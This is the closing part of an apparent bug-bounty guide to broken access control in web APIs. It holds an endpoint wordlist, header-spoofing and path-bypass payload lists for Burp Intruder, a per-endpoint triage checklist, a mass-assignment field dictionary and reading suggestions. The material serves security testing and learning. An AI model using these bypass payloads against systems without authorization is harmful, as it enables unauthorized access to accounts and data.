/admin /api/admin /api/v1/admin /api/users /api/users/me /api/users/{id} /api/orders /api/orders/{id} /api/invoices/{id} /api/exports/{id} /api/downloads/{id} /api/files/{id} /api/teams/{id} /api/orgs/{id} /api/workspaces/{id} /api/projects/{id} /api/messages/{cid} /api/notifications /api/billing /api/payment-methods /api/coupons/apply /api/feature-flags /api/impersonate /api/audit-log /api/internal/* /api/_private/* /api/v0/* /api/v1/* (legacy) /graphql /swagger /openapi.json /actuator/* /api/ai/* /api/rag/* /api/agents/* /api/chat/{id} /api/webhooks/* /.well-known/* /api/v3/api-docs /api/graphql/console

Top 20 headers to spoof on 401/403

paste into Burp Intruder · §header
X-Original-URL: /admin X-Rewrite-URL: /admin X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Forwarded-Host: localhost True-Client-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Cluster-Client-IP: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 Forwarded: for=127.0.0.1 Referer: https://target.com/admin X-Forwarded-User: admin X-Auth-User: admin X-User-Id: 1 X-Username: admin X-Tenant-Id: 1 X-HTTP-Method-Override: GET X-Method-Override: GET Content-Type: application/xml # sometimes downgrades to a different handler

Path bypass payloads (paste into Intruder)

§path bypass
/admin /admin/ //admin /./admin /admin/. /admin/.. /admin..;/ /admin/%2e /admin/%2e/ /admin%20 /admin%09 /admin%00 /admin? /admin# /admin#.html /admin.json /admin.css /admin.html /admin/..%2f /admin..%252f /%2e/admin /%252e/admin /.%2e/admin /;/admin /.;/admin /..;/admin /?/admin /anything/../admin

The 60-second triage checklist (per endpoint)

  • Anon access (no cookie / no token)?
  • Cross-user access (B's request as A)?
  • Cross-tenant access (other org's id)?
  • Vertical escalation (low-priv → high-priv)?
  • Mass assignment (extra body fields stick)?
  • Method tampering (GET↔POST↔PUT↔PATCH↔DELETE)?
  • Method override headers honored?
  • Header trust (X-Forwarded-For / X-User-Id)?
  • Path bypass (/admin → /admin/.)?
  • Cache key includes auth context?
  • Rate limit per-account or global?
  • Race condition on the action?
  • GraphQL: field-level authz enforced?
  • JWT: algorithm/signature/claims verified?
  • Soft-deleted / archived state accessible?
  • CSPT: does the client build API paths from user input?
  • Cache: static-extension / delimiter deception on this response?
  • AI/RAG: does retrieval enforce per-user document ACLs?

Mass-assignment field dictionary

attempt these on every write endpoint
id, user_id, owner_id, account_id, tenant_id, workspace_id, org_id, team_id role, roles, scope, scopes, permissions, is_admin, isAdmin, admin, superuser verified, is_verified, email_verified, phone_verified, kyc_verified balance, credit, credits, credit_balance, points, coins, wallet plan, tier, subscription, subscription_status, trial_ends_at, locked status, state, active, enabled, banned, blocked, suspended created_at, updated_at, deleted_at, expires_at password, password_hash, mfa_secret, api_key, secret, token, refresh_token parent_id, group_id, organization_id, company_id impersonate, act_as, on_behalf_of, sudo, feature_flags, entitlements, grants locale, country, currency # sometimes gates pricing/feature access

10Further Learning#

  • PortSwigger Web Security Academy — the "Access control vulnerabilities" track has 13 free labs covering every sub-class in this guide.
  • OWASP API Security Top 10 (2023) — API1 BOLA, API3 BOPLA, API5 BFLA are all BAC. The 2023 list is the modern API hunter's map.
  • OWASP Top 10:2025 · A01 — read the updated category page (40 CWEs, SSRF now folded in) to see how the standard frames BAC today.
  • OWASP GenAI / LLM Top 10 (2025) — LLM02 (Sensitive Information Disclosure), LLM06 (Excessive Agency) and LLM08 (Vector & Embedding Weaknesses) are the authorization-relevant entries for AI features (§5.7).
  • PortSwigger Research — the web cache deception (2024) and single-packet-attack papers are required reading for §2.16–§2.17; James Kettle's talks are the cutting edge.
  • IETF draft-ietf-oauth-rfc8725bis — the JWT Best Current Practices refresh, and the definitive current catalog of JWT confusion attacks (§2.12).
  • OWASP Authorization Cheat Sheet — defender-side, but excellent grounding.
  • HackTricks · Pentesting Web — encyclopedic; the BAC and JWT pages are gold.
  • HackerOne Hacktivity — filter to "Insecure Direct Object Reference" and "Privilege Escalation". Read 50 reports; patterns emerge.
  • Books: Real-World Bug Hunting (Yaworski), The Web Application Hacker's Handbook (Stuttard & Pinto — older but still foundational), Bug Bounty Bootcamp (Vickie Li).
  • YouTube: InsiderPhD's IDOR series; NahamSec's recon streams; PinkDraconian for OAuth/JWT; James Kettle (PortSwigger) for cutting-edge research.
  • Conferences: DEF CON AppSec Village, BSides, NahamCon, Bug Bounty Village.
Last thought

Broken Access Control is the largest, deepest, most lucrative bug class in modern web security. It rewards patience, methodology, and a willingness to read JavaScript. The hunters who go deep on BAC don't run out of bugs — every new feature in every app ships at least one of them. Pick a target, build the matrix, and start.